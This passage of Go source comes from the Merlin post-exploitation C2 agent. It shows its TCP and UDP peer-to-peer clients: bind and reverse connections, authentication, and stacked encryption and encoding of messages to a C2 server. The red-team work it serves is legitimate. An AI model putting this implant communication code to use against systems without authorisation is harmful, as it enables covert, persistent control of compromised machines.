return nil, fmt.Errorf("clients/p2p/tcp.New(): a nil Listener UUID was provided")
}
switch strings.ToLower(config.Mode) {
case "tcp-bind":
client.mode = BIND
case "tcp-reverse":
client.mode = REVERSE
default:
client.mode = BIND
}
client.listenerID = config.ListenerID
client.psk = config.PSK
// Parse Address and validate it
if len(config.Address) <= 0 {
return nil, fmt.Errorf("a configuration address value was not provided")
}
_, err := net.ResolveTCPAddr("tcp", config.Address[0])
if err != nil {
return nil, err
}
client.address = config.Address[0]
// Set secret for encryption
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk))
cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret))
//Convert Padding from string to an integer
if config.Padding != "" {
client.paddingMax, err = strconv.Atoi(config.Padding)
if err != nil {
return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err)
}
} else {
client.paddingMax = 0
}
// Authenticator
switch strings.ToLower(config.AuthPackage) {
case "opaque":
client.authenticator = opaque.New(config.AgentID)
case "none":
client.authenticator = none.New(config.AgentID)
default:
return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'")
}
// Transformers
transforms := strings.Split(config.Transformers, ",")
for _, transform := range transforms {
var t transformer.Transformer
switch strings.ToLower(transform) {
case "aes":
t = aes.NewEncrypter()
case "base64-byte":
t = base64.NewEncoder(base64.BYTE)
case "base64-string":
t = base64.NewEncoder(base64.STRING)
case "gob-base":
t = gob2.NewEncoder(gob2.BASE)
case "gob-string":
t = gob2.NewEncoder(gob2.STRING)
case "hex-byte":
t = hex.NewEncoder(hex.BYTE)
case "hex-string":
t = hex.NewEncoder(hex.STRING)
case "jwe":
t = jwe.NewEncrypter()
case "rc4":
t = rc4.NewEncrypter()
case "xor":
t = xor.NewEncrypter()
default:
err := fmt.Errorf("clients/tcp.New(): unhandled transform type: %s", transform)
if err != nil {
return nil, err
}
}
client.transformers = append(client.transformers, t)
}
cli.Message(cli.INFO, "Client information:")
cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client))
cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address))
cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID))
cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator))
cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers))
cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax))
return &client, nil
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() (err error) {
cli.Message(cli.DEBUG, "clients/tcp.Initial(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Initial(): leaving function with error: %+v", err))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/tcp.Initial(): %s", err)
return
}
<-client.connected
// Authenticate
err = client.Authenticate(messages.Base{})
return
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): entering into function with message: %+v", msg))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): leaving function with error: %+v", err))
client.Lock()
client.authenticated = false
client.Unlock()
if len(client.authComplete) > 0 {
<-client.authComplete
}
var authenticated bool
// Reset the Agent's PSK
k := sha256.Sum256([]byte(client.psk))
client.Lock()
client.secret = k[:]
client.Unlock()
// Repeat until authenticator is complete and Agent is authenticated
for {
msg, authenticated, err = client.authenticator.Authenticate(msg)
if err != nil {
return
}
// An empty message was received indicating to exit the function
if msg.Type == 0 {
return
}
// Once authenticated, update the client's secret used to encrypt messages
if authenticated {
client.Lock()
client.authenticated = true
client.Unlock()
var key []byte
key, err = client.authenticator.Secret()
if err != nil {
return
}
// Don't update the secret if the authenticator returned an empty key
if len(key) > 0 {
client.Lock()
client.secret = key
client.Unlock()
}
}
if msg.Type == messages.OPAQUE {
// Send the message to the server
var msgs []messages.Base
msgs, err = client.SendAndWait(msg)
if err != nil {
return
}
// Add response message to the next loop iteration
if len(msgs) > 0 {
// Don't add IDLE messages, just continue on
if msgs[0].Type != messages.IDLE {
msg = msgs[0]
}
}
} else {
_, err = client.Send(msg)
if err != nil {
return
}
}
// If the Agent is authenticated, exit the loop and return the function
if authenticated {
client.authComplete <- true
return
}
}
}
// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)
func (client *Client) Connect() (err error) {
cli.Message(cli.DEBUG, "clients/tcp.Connect(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Connect(): leaving function with error %+v", err))
// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect
if len(client.connected) > 0 {
<-client.connected
}
client.Lock()
defer client.Unlock()
// Check to see if the connection was restored by a different call stack
if client.connection != nil {
return nil
}
switch client.mode {
case BIND:
if client.listener == nil {
client.listener, err = net.Listen("tcp", client.address)
if err != nil {
return fmt.Errorf("clients/tcp.Connect(): there was an error listening on %s: %s", client.address, err)
}
cli.Message(cli.NOTE, fmt.Sprintf("Started %s on %s", client, client.address))
}
// Listen for initial connection from upstream agent
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection on %s at %s...", client.address, time.Now().UTC().Format(time.RFC3339)))
client.connection, err = client.listener.Accept()
if err != nil {
return fmt.Errorf("clients/tcp.Connect(): there was an error accepting the connection: %s", err)
}
cli.Message(cli.NOTE, fmt.Sprintf("Received new connection from %s", client.connection.RemoteAddr()))
// When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established
if client.authenticated {
cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339)))
_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})
}
client.connected <- true
return err
case REVERSE:
client.connection, err = net.Dial("tcp", client.address)
if err != nil {
return fmt.Errorf("clients/tcp.Connect(): there was an error connecting to %s: %s", client.address, err)
}
cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s at %s", client.address, time.Now().UTC().Format(time.RFC3339)))
client.connected <- true
return nil
default:
return fmt.Errorf("clients/tcp.Connect(): Unhandled Client mode %d", client.mode)
}
}
// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms
// on it to encode and encrypt it.
func (client *Client) Construct(msg messages.Base) (data []byte, err error) {
for i := len(client.transformers); i > 0; i-- {
if i == len(client.transformers) {
// First call should always take a Base message
data, err = client.transformers[i-1].Construct(msg, client.secret)
} else {
data, err = client.transformers[i-1].Construct(data, client.secret)
}
if err != nil {
return nil, fmt.Errorf("clients/tcp.Construct(): there was an error calling the transformer construct function: %s", err)
}
}
return
}
// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until
// a messages.Base structure is returned. The key is used for decryption transforms
func (client *Client) Deconstruct(data []byte) (messages.Base, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Deconstruct(): entering into function with message: %+v", data))
//fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret)
for _, transform := range client.transformers {
//fmt.Printf("Transformer %T: %+v\n", transform, transform)
ret, err := transform.Deconstruct(data, client.secret)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("clients/tcp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK"))
// Try to see if the PSK works
k := sha256.Sum256([]byte(client.psk))
ret, err = transform.Deconstruct(data, k[:])
if err != nil {
return messages.Base{}, err
}
// If the PSK worked, assume the agent is unauthenticated to the server
client.authenticated = false
client.secret = k[:]
}
switch ret.(type) {
case []uint8:
data = ret.([]byte)
case string:
data = []byte(ret.(string)) // Probably not what I should be doing
case messages.Base:
//fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base))
return ret.(messages.Base), nil
default:
return messages.Base{}, fmt.Errorf("clients/tcp.Deconstruct(): unhandled data type for Deconstruct(): %T", ret)
}
}
return messages.Base{}, fmt.Errorf("clients/tcp.Deconstruct(): unable to transform data into messages.Base structure")
}
// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "clients/tcp.Listen(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): leaving function with error %+v and return messages: %+v", err, returnMessages))
// Repair broken connections
if client.connection == nil {
switch client.mode {
case BIND:
// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/tcp.Listen(): %s", err)
return
}
case REVERSE:
if !client.sending {
// If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock
// Return a message so that there is a message to send, forcing the communication
client.Lock()
client.sending = true
client.Unlock()
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s", time.Now().UTC().Format(time.RFC3339)))
return []messages.Base{{ID: client.agentID, Type: messages.CHECKIN}}, nil
} else {
// If the connection is empty and this is a REVERSE agent, wait here until the connection is established
cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339)))
}
}
}
// Wait for the response
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
var n int
var tag uint32
var length uint64
var buff bytes.Buffer
for {
respData := make([]byte, 4096)
n, err = client.connection.Read(respData)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Read %d bytes from connection %s at %s", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
if err != nil {
if err == io.EOF {
cli.Message(cli.WARN, fmt.Sprintf("clients/tcp.Listen(): received EOF from %s, the Agent's connection has been reset", client.connection.RemoteAddr()))
err = nil
client.connection = nil
return
}
err = fmt.Errorf("clients/tcp.Listen(): there was an error reading the message from the connection with %s: %s", client.connection.RemoteAddr(), err)
client.connection = nil
return
}
// Add the bytes to the buffer
n, err = buff.Write(respData[:n])
if err != nil {
err = fmt.Errorf("clients/tcp.Listen(): there was an error writing %d incoming bytes to the local buffer: %s", n, err)
client.connection = nil
return
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(respData[:4])
if tag != 1 {
err = fmt.Errorf("clients/tcp.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag)
client.connection = nil
return
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(respData[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from TCP connection %s at %s", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
var msg messages.Base
// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV
msg, err = client.Deconstruct(buff.Bytes()[12:])
if err != nil {
err = fmt.Errorf("clients/tcp.Listen(): there was an error deconstructing the data: %s", err)
return
}
returnMessages = append(returnMessages, msg)
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.
// This function DOES not wait or listen for response messages.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): entering into function with Base message: %+v", m))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): leaving function with error: %v and returnMessages: %+v", err, returnMessages))
// Recover connection
if client.connection == nil {
switch client.mode {
case BIND:
// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection
cli.Message(cli.NOTE, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
case REVERSE:
// Signal to the listen() function that we are attempting to recover the connection
client.Lock()
client.sending = true
client.Unlock()
// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/tcp.Send(): %s", err)
return
}
// Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function
defer func() {
client.Lock()
client.sending = false
client.Unlock()
}()
}
}
if !client.authenticated && m.Type != messages.OPAQUE {
cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.authComplete
cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339)))
}
// Set the message padding
if client.paddingMax > 0 {
// #nosec G404 -- Random number does not impact security
m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))
}
data, err := client.Construct(m)
if err != nil {
err = fmt.Errorf("clients/tcp.Send(): there was an error constructing the data: %s", err)
return
}
delegate := messages.Delegate{
Listener: client.listenerID,
Agent: client.agentID,
Payload: data,
}
// Convert messages.Base to gob
// Still need this for agent to agent message encoding
delegateBytes := new(bytes.Buffer)
err = gob.NewEncoder(delegateBytes).Encode(delegate)
if err != nil {
err = fmt.Errorf("there was an error encoding the %s message to a gob:\r\n%s", m.Type, err)
return
}
cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s at %s", m.Type, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
// Add in Tag/Type and Length for TLV
tag := make([]byte, 4)
binary.BigEndian.PutUint32(tag, 1)
length := make([]byte, 8)
binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))
// Create TLV
outData := append(tag, length...)
outData = append(outData, delegateBytes.Bytes()...)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): Added Tag: %d and Length: %d to data size of %d\n", tag, uint64(delegateBytes.Len()), len(outData)))
// Write the message
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Send(): Writing message size: %d to: %s", len(outData), client.connection.RemoteAddr()))
n, err := client.connection.Write(outData)
if err != nil {
err = fmt.Errorf("there was an error writing the message to the connection with %s: %s", client.connection.RemoteAddr(), err)
return
}
cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %s", n, client.connection.RemoteAddr()))
return
}
// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response
// messages and returns them
func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "Entering into clients/tcp.SendAndWait()...")
// Send
returnMessages, err = client.Send(m)
if err != nil {
err = fmt.Errorf("clients/tcp.SendAndWait(): %s", err)
return
}
// Listen
return client.Listen()
}
// Get is a generic function that is used to retrieve the value of a Client's field
func (client *Client) Get(key string) (value string) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Get(): entering into function with key: %s", key))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Get(): leaving function with value: %s", value))
switch strings.ToLower(key) {
case "ja3":
return ""
case "paddingmax":
value = strconv.Itoa(client.paddingMax)
case "protocol":
value = client.String()
default:
value = fmt.Sprintf("unknown client configuration setting: %s", key)
}
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Set(): entering into function with key: %s, value: %s", key, value))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Set(): exiting function with err: %v", err))
client.Lock()
defer client.Unlock()
switch strings.ToLower(key) {
case "addr":
// Validate the address
_, err = net.ResolveTCPAddr("tcp", value)
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error parsing the provide address %s : %s", value, err)
return
}
// Close the connection
err = client.connection.Close()
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error closing the connection: %s", err)
return
}
client.connection = nil
if client.mode == BIND {
// Close the listener
err = client.listener.Close()
if err != nil {
err = fmt.Errorf("clients/tcp.Set(): there was an error closing the listener: %s", err)
return
}
}
client.listener = nil
client.address = value
case "listener":
var id uuid.UUID
id, err = uuid.Parse(value)
if err != nil {
return fmt.Errorf("clients/tcp.Set(): %s", err)
}
client.listenerID = id
case "paddingmax":
client.paddingMax, err = strconv.Atoi(value)
case "secret":
client.secret = []byte(value)
default:
err = fmt.Errorf("unknown tcp client setting: %s", key)
}
return err
}
// String returns the type of TCP client
func (client *Client) String() string {
switch client.mode {
case BIND:
return "tcp-bind"
case REVERSE:
return "tcp-reverse"
default:
return "tcp-unhandled"
}
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
switch client.mode {
case BIND:
return true
case REVERSE:
return true
default:
return false
}
}
================================================
FILE: clients/tcp/tcp_exclude.go
================================================
//go:build !tcp && (http || http1 || http2 || http3 || mythic || winhttp || smb || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package tcp contains a configurable client used for TCP-based peer-to-peer Agent communications
package tcp
import (
// Standard
"fmt"
// 3rd Party
"github.com/google/uuid"
// Internal
messages "github.com/Ne0nd0g/merlin-message"
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(Config) (*Client, error) {
return nil, fmt.Errorf("clients/tcp.New(): TCP client not compiled into this program")
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(messages.Base) (err error) {
return fmt.Errorf("clients/tcp.Authenticate(): TCP client not compiled into this program")
}
// Get is a generic function used to retrieve the value of a Client's field
func (client *Client) Get(string) string {
return fmt.Sprintf("clients/tcp.Get(): TCP client not compiled into this program")
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() error {
return fmt.Errorf("clients/tcp.Initial(): TCP client not compiled into this program")
}
// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/tcp.LIsten(): TCP client not compiled into this program")
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.
// This function DOES not wait or listen for response messages.
func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/tcp.Send(): TCP client not compiled into this program")
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) error {
return fmt.Errorf("clients/tcp.Set(): TCP client not compiled into this program")
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
================================================
FILE: clients/udp/udp.go
================================================
//go:build udp || !(http || http1 || http2 || http3 || mythic || winhttp || smb || tcp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications
package udp
import (
// Standard
"bytes"
"crypto/sha256"
"encoding/base64"
"encoding/binary"
"encoding/gob"
"fmt"
"math"
"math/rand"
"net"
"strconv"
"strings"
"sync"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/authenticators"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none"
"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers"
b64 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64"
gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor"
)
const (
BIND = 0
REVERSE = 1
)
const (
// MaxSize is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU
// http://ithare.com/udp-from-mog-perspective/
MaxSize = 1450
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
address string // address is the network interface and port the agent will bind to
agentID uuid.UUID // agentID the Agent's UUID
authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated
authenticated bool // authenticated tracks if the Agent has successfully authenticated
authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server
client net.Addr // client is the address of the UDP client that initiated the connection, returned from PacketConn.ReadFrom
connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent
connection net.Conn // connection the network socket connection used to handle traffic
listener net.PacketConn // listener the network socket connection listening for traffic
listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with
paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message
psk string // psk the pre-shared key used for encrypting messages until authentication is complete
secret []byte // secret the key used to encrypt messages
transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message
mode int // mode the type of client or communication mode (e.g., BIND or REVERSE)
sync.Mutex // used to lock the Client when changes are being made by one function or routine
}
// Config is a structure that is used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(config Config) (*Client, error) {
cli.Message(cli.DEBUG, "Entering into clients/udp.New()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config))
client := Client{}
client.authComplete = make(chan bool, 1)
client.connected = make(chan bool, 1)
if config.AgentID == uuid.Nil {
return nil, fmt.Errorf("clients/udp.New(): a nil Agent UUID was provided")
}
client.agentID = config.AgentID
if config.ListenerID == uuid.Nil {
return nil, fmt.Errorf("clients/udp.New(): a nil Listener UUID was provided")
}
switch strings.ToLower(config.Mode) {
case "udp-bind":
client.mode = BIND
case "udp-reverse":
client.mode = REVERSE
default:
client.mode = BIND
}
client.listenerID = config.ListenerID
client.psk = config.PSK
// Parse Address and validate it
if len(config.Address) <= 0 {
return nil, fmt.Errorf("a configuration address value was not provided")
}
_, err := net.ResolveUDPAddr("udp", config.Address[0])
if err != nil {
return nil, err
}
client.address = config.Address[0]
// Set secret for encryption
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk))
cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret))
//Convert Padding from string to an integer
if config.Padding != "" {
client.paddingMax, err = strconv.Atoi(config.Padding)
if err != nil {
return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err)
}
} else {
client.paddingMax = 0
}
// Authenticator
switch strings.ToLower(config.AuthPackage) {
case "opaque":
client.authenticator = opaque.New(config.AgentID)
case "none":
client.authenticator = none.New(config.AgentID)
default:
return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'")
}
// Transformers
transforms := strings.Split(config.Transformers, ",")
for _, transform := range transforms {
var t transformer.Transformer
switch strings.ToLower(transform) {
case "aes":
t = aes.NewEncrypter()
case "base64-byte":
t = b64.NewEncoder(b64.BYTE)
case "base64-string":
t = b64.NewEncoder(b64.STRING)
case "gob-base":
t = gob2.NewEncoder(gob2.BASE)
case "gob-string":
t = gob2.NewEncoder(gob2.STRING)
case "hex-byte":
t = hex.NewEncoder(hex.BYTE)
case "hex-string":
t = hex.NewEncoder(hex.STRING)
case "jwe":
t = jwe.NewEncrypter()
case "rc4":
t = rc4.NewEncrypter()
case "xor":
t = xor.NewEncrypter()
default:
err := fmt.Errorf("clients/udp.New(): unhandled transform type: %s", transform)
if err != nil {
return nil, err
}
}
client.transformers = append(client.transformers, t)
}
cli.Message(cli.INFO, "Client information:")
cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client))
cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address))
cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID))
cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator))
cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers))
cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax))
return &client, nil
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() (err error) {
cli.Message(cli.DEBUG, "clients/upd.Initial(): entering clients/udp.Initial() function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/upd.Initial(): exiting function with error: %+v", err))
err = client.Connect()
if err != nil {
return fmt.Errorf("clients/udp.Initial(): %s", err)
}
<-client.connected
// Authenticate
return client.Authenticate(messages.Base{})
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Authenticate(): entering into function with message: %+v", msg))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Authenticate(): leaving function with error: %+v", err))
client.Lock()
client.authenticated = false
client.Unlock()
if len(client.authComplete) > 0 {
<-client.authComplete
}
var authenticated bool
// Reset the Agent's PSK
k := sha256.Sum256([]byte(client.psk))
client.Lock()
client.secret = k[:]
client.Unlock()
// Repeat until authenticator is complete and Agent is authenticated
for {
msg, authenticated, err = client.authenticator.Authenticate(msg)
if err != nil {
return
}
// An empty message was received indicating to exit the function
if msg.Type == 0 {
return
}
// Once authenticated, update the client's secret used to encrypt messages
if authenticated {
client.Lock()
client.authenticated = true
client.Unlock()
var key []byte
key, err = client.authenticator.Secret()
if err != nil {
return
}
// Don't update the secret if the authenticator returned an empty key
if len(key) > 0 {
client.Lock()
client.secret = key
client.Unlock()
}
}
if msg.Type == messages.OPAQUE {
// Send the message to the server
var msgs []messages.Base
msgs, err = client.SendAndWait(msg)
if err != nil {
return
}
// Add response message to the next loop iteration
if len(msgs) > 0 {
// Don't add IDLE messages, just continue on
if msgs[0].Type != messages.IDLE {
msg = msgs[0]
}
}
} else {
_, err = client.Send(msg)
